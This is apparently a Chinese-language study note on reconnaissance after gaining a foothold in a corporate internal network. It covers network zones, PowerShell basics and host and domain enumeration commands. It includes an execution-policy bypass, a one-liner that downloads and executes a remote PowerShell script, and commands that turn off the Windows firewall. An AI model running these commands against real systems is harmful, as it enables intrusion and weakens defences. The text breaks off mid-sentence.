# 前言
前面简单了解了内网中的一些比较基础的概念,本来想着直接开始写这篇。但是老师让我审计 zzcms,又耽误了一天,接着又是长城(高考)杯。现在可算是解放了,碎碎念就到这里了。一篇偏向记录的笔记(主要是为了方便以后查询)
信息收集无论是 web 攻防还是内网渗透都是尤其重要的,对于攻击方来说,通过信息收集我们可以洞察网络的拓扑结构,找到内网的薄弱环境。对于防守方来说了解常用的内网信息收集的方式,可以针对性的部署,更好地完成网络安全管理工作。不是都说 渗透的本质也就是信息收集
。相对于内网的信息收集可以从 本机信息收集
、 域内信息收集
、 内网资源探测
、 域内用户登录凭据窃取
等方面入手。
# 内网架构
首先我们需要了解一下内网的大致结构由哪些部分组成,以便我们更有目的性的搜集我们需要的信息。
随着网络技术的高速发展,以及数字化转型企业的网络架构也在不断的更新变化,企业内网也称企业局域网。企业网络不仅包括面向客户的门户网站,应用系统,还包括面向企业内部员工的协同办公网络、企业生产网络、核心数据存储网络、无线网络等等。整个内网网络的建设上我们需要满足信息安全的 “机密性” “完整性” “可用性” 三要素的基础。
如上图在内网中通常有几个常见的区域:DMZ、核心区(生产区)和办公区,下面简单了解一下三个区域
# DMZ
DMZ 称为隔离区或者非军事化管理区域,这个区域的设置是为了解决安装防火墙后外部网络不能访问内部网络的问题而设置的一个介于互联网和内网之间的缓冲区域。某种意义上来说,这个区域实际上不属于内网,通常情况下我们会在这个区域内放置必须能够从外网访问的服务器设施比如:企业的门户网站、论坛服务器、FTP 服务器等等。
对于这个区域通常会有下面的策略配置来实现隔离的作用
- 内网可以访问 DMZ:DMZ 区域也可能放置一些对内提供服务的服务器设施
- 外网不能访问内网:这是防火墙的最基本的策略。如果要访问可以通过配置 VPN 来实现
- 外网可以访问 DMZ:DMZ 是用来存放对外提供服务设施的区域,所以外网用户需要能够正常访问
- DMZ 不能访问内网:这是为了防止在 DMZ 区域被攻陷后攻击者可以直接访问内网区域
DMZ 一个很明显的特征就是存在大量的 WInserver,centos 服务器,当突破 DMZ 区域后通常需要搜集大量的本机信息和同段的信息。
# 办公区
顾名思义就是日常的办公区域,这个区域中的安全防御水平不高,通常是一些杀毒软件之类的东西。因为该区域的人员安全意识参差不齐且多半能直接连接到 DMZ 和核心服务器区域,因此经常会因为钓鱼,社工等被入侵。该区域最明显的特征就是同网段下存在大量的办公终端,大多数为 windows。
# 核心区域
该区域中通常会存放整个内网中最为重要的数据,因此其安全等级是最高的。区域内通常部署大量的支持存储和计算的主机且通常不出网,攻击者也难以到达。
# 信息收集
了解内网架构是为了在做好充足的信息收集后能在宏观上内网建立一个整体认识,能更好的洞察内网中更好的薄弱环境,信息收集的深度决定攻击面的广度和难易程度。在外围成功进入内网后首先我们需要首先考虑收集什么信息,我是谁?我从哪里来?我要到哪里去?--- 扯远了。实际上主要是搜集本机信息、域内信息、内网资源等方面来判断整个内网架构。
# PowerShell
当前内网中的服务器主机还是以 windows 系列为主,windows 图形化页面给用户的操作带来了很大的便利,但是实际情况下不能直接远程登录到主机上,很多理想情况下只能获得一个 shell。个人对于 windows 的 shell 操作不是很熟练,所以在这里也简单的记录一下。
PowerShell 可以简单的理解为 cms.exe 的 plus 版本,这里也只是简单的记录一下常用的命令。PwoerShell 使用了同意的命名格式(动词 - 名词)比如说 Get - 信息就是查看,Set - 信息就是设置命令,Stop - 信息就是停止等等。因为在 PowerShell 中支持的命令很多,难以记忆和使用所以我们通常会借助 Get-Help 和 Get-Command 命令来找到目标命令的正确使用方式。
# Get-Help
这就类似 linux 工具中的 - h 参数,我们可以通过这个命令来查询到一个命令的使用方式
Get-Help 的语法格式如下
Get-Help [[-name] <string>] |
使用示例如上图所示,这里的 - name 参数是可以不要的,并不会影响正常使用
# Get-Command
可以列出所有 powerShell 所支持的命令
可以看到,这里实际上是可以单独使用不加参数的,但实际上它也是有着使用的语法的如下
Get-Command [[-name] <String[]>] |
比如说我们想要查询获取信息以 h 开头的命令,可以使用如下方式
Get-Command -Name Get-h* |
通过和 Get-Help 命令的配合使用我们可以了解到 PowerShell 中所有的命令的使用方式
# PowerShell 脚本
很多时候我们能在 PowerShell 中达到我们想要的目的需要一系列复杂的流程,我们就需要使用大量的命令,这时使用脚本来实现或许是一个最好的选择。这里的 PowerShell 脚本实际上和 win 下的 bat,linux 下 sh 一样都是一个简单的文本文件,其拓展名为 ps1
$a = 2 | |
$b = 3 | |
if ($a + $b -eq 5) { | |
Write-Output "The result is correct" | |
Write-Output "I am $(whoami)" | |
} |
# 脚本的运行策略
为了防止使用者恶意运行脚本,PowerShell 提供了六种执行策略如下:
- Restricted:受限制的,可以执行单个命令,但不能执行脚本(默认情况下是该策略)
- AllSigned:仅当脚本由信任的发布者签名时才能进行
- RemoteSigned:本地创建的脚本可以执行,网上下载的脚本需要有数字签名
- Unrestricted:允许运行未签名的脚本,但是在运行前安全提示
- Bypass:对脚本的执行没有限制,且不会进行安全提示
- Undefined:没有设置脚本策略
权限的修改我们直接使用 Set-ExecutionPolicy 即可
但是这是需要管理员权限的
下面介绍几种绕过策略的方法
# 绕过本地权限并执行
powershell.exe -Executionpolicy Bypass -File .\1.ps1 |
可以看到我们可以通过 Executionpolicy 参数来指定脚本的运行策略为 Bypass,从而绕过默认的运行策略
# 从远程获取
powershell.exe -NoProfile -c "iex(New-Object Net.WebClient).DownloadString('http://192.168.246.1/1.ps1')" |
# 本机信息收集
当我们通过各种方式拿到一台主机的控制权限后,我们想要对内网环境进行渗透就需要以该主机为跳板机来 够到
内网的一台主机,所以我们需要对我们能控制的这台主机做一些判断,如该主机在内网中所处的网络位置、其角色,角色权限,操作系统信息,网络配置信息、当前运行的进程、有无防护软件等等。而且如果域内主机一般操作系统、应用软件、补丁、服务、杀软都是统一批量的安装的,通过手机本机信息可以了解域内其他主机的信息。
# 配置信息收集
# 主机权限
#windows | |
whoami /all |
#linux
whoami
id
这里在 windows 和 linux 中都是对当前用户权限做一个大致的判断,以判断后续是否需要提升权限
# 网络配置信息
#windows | |
ipconfig /all |
#linux | |
ifconfig -a |
通过查询网络配置信息可以判断出当前主机所处的网段,在 windows 上我们可以开看到 dns 的地址,在域环境中我 DNS 服务器地址通常就是域控的地址
# 主机路由信息
#windows
route print
#Linux | |
route -n |
这个路由信息比较少是因为这里主机是我搭建的一个靶机,环境比较简单。通过查看路由表我们可以看到哪些网段是本机能够 “够得到” 的。
# ARP 缓存表
#Windows | |
arp -a | |
#Lixnu | |
arp -n |
# 操作系统信息
#Windows
systeminfo
通过这个 systeminfo 命令我们可以查看到很多信息如当前主机的操作系统信息、当前主机名、操作系统版本、系统目录、所在的域、安装的补丁信息、各网卡的信息。
#Linux | |
uname -a | |
cat /etc/os-release | |
hostname | |
lscpu |
在 Linux 中似乎没有自带的一个很集中的命令能查询到像 systeminfo 那样全面的信息,很多时候还是各个方式配合使用
通过 uname
命令可以用来显示系统信息,包括内核名称、主机名、操作系统版本、硬件架构等
可以查看 /etc/os-release
文件来获取有关操作系统的详细信息,包括发行版、版本号等。
hostname
命令用于显示主机名。
lscpu
命令可以显示有关 CPU 的信息,包括架构。
# 查看系统架构
通过判断系统架构来判断我们使用的工具版本
#Windows | |
echo %PROCESSOR_ARCHITECTURE% |
#Linux | |
uname -m |
# 端口连接信息
#Windows/Linux | |
netstat -ano |
可以查看当前主机的端口连接情况,包括当前主机端口开放情况域其他主机连接的情况等等
# 安装的软件的版本和路径
#Windows | |
wmic product get name,version | |
powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name,version" |
利用 wmic 命令收集软件的版本信息,这里取其中的名字和版本
#Linux | |
dpkg -l#基于 Debian 或 Ubuntu 的系统 | |
rpm -qa#基于 Red Hat 或 CentOS 的系统 |
# 本机服务信息
#Windows | |
wmic service list brief | |
tasklist |
#Linux | |
systemctl list-units --type=service --all |
列出系统中运行的服务
# 网络共享信息
#Windows | |
net share |
查看当前主机开启的共享列表,在 Linux 中,文件共享通常使用不同的协议和工具,最常见的是使用 Samba 或 NFS
# 计划任务
#Windows | |
schtasks /query /fo LIST /v |
#Linux | |
crontab -l |
# 自启动程序
#windows | |
wmic startup get Caption,Command,Location,User |
查看本机上所有的自启动程序,过滤出程序名、执行的命令、程序的路径和所属用户
#Linux | |
ls -al ~/.bashrc ~/.profile ~/.bash_profile | |
ls /etc/rc*.d/ |
用户登录时可能会自动启动一些应用程序或脚本。这些启动项通常由用户配置文件(如 w .bashrc
、 .profile
、 .bash_profile
等)控制。在 Linux 系统中,还可以查看一些系统启动时执行的脚本或命令,这些可能会在启动过程中自动执行。
# 防火墙配置
#Windows
netsh firewall show config
通过这个命令可以查看防火墙的配置信息
#Windows / 需要管理员权限 | |
netsh firewall set opmode disable #被弃用 | |
netsh advfirewall set allprofiles state off |
在不同 linux 系统中使用的是不同的防火墙管理工具和策略,常用的有 iptables,ufw,firewalld 等等,这里就不在一一列举了
# 用户信息收集
# 本地账号
#Windows | |
net user | |
net localgroup |
使用 net user 命令可以枚举出 Windows 操作系统的本地用户
使用 net localgroup 命令可以枚举出系统本地组
#Linux | |
cat /etc/passwd | |
group <用户名> |
这个文件能算的上是 web 渗透过程中备受关注的一个文件了。通过这个文件可以实现类似 Windows 中 net user 的作用
可以在 LInux 使用 group <用户名> 来查询某个具体的用户的所属组
# 域账号
#Windows | |
net user /domain | |
net group /domain |
枚举 Windows 域用户
枚举 Windows 域用户组
# 域内密码策略
net accounts /domain |
# 域控列表
net group "Domain Controllers" /domain | |
nltest /DCLIST:demo.com |
也可以使用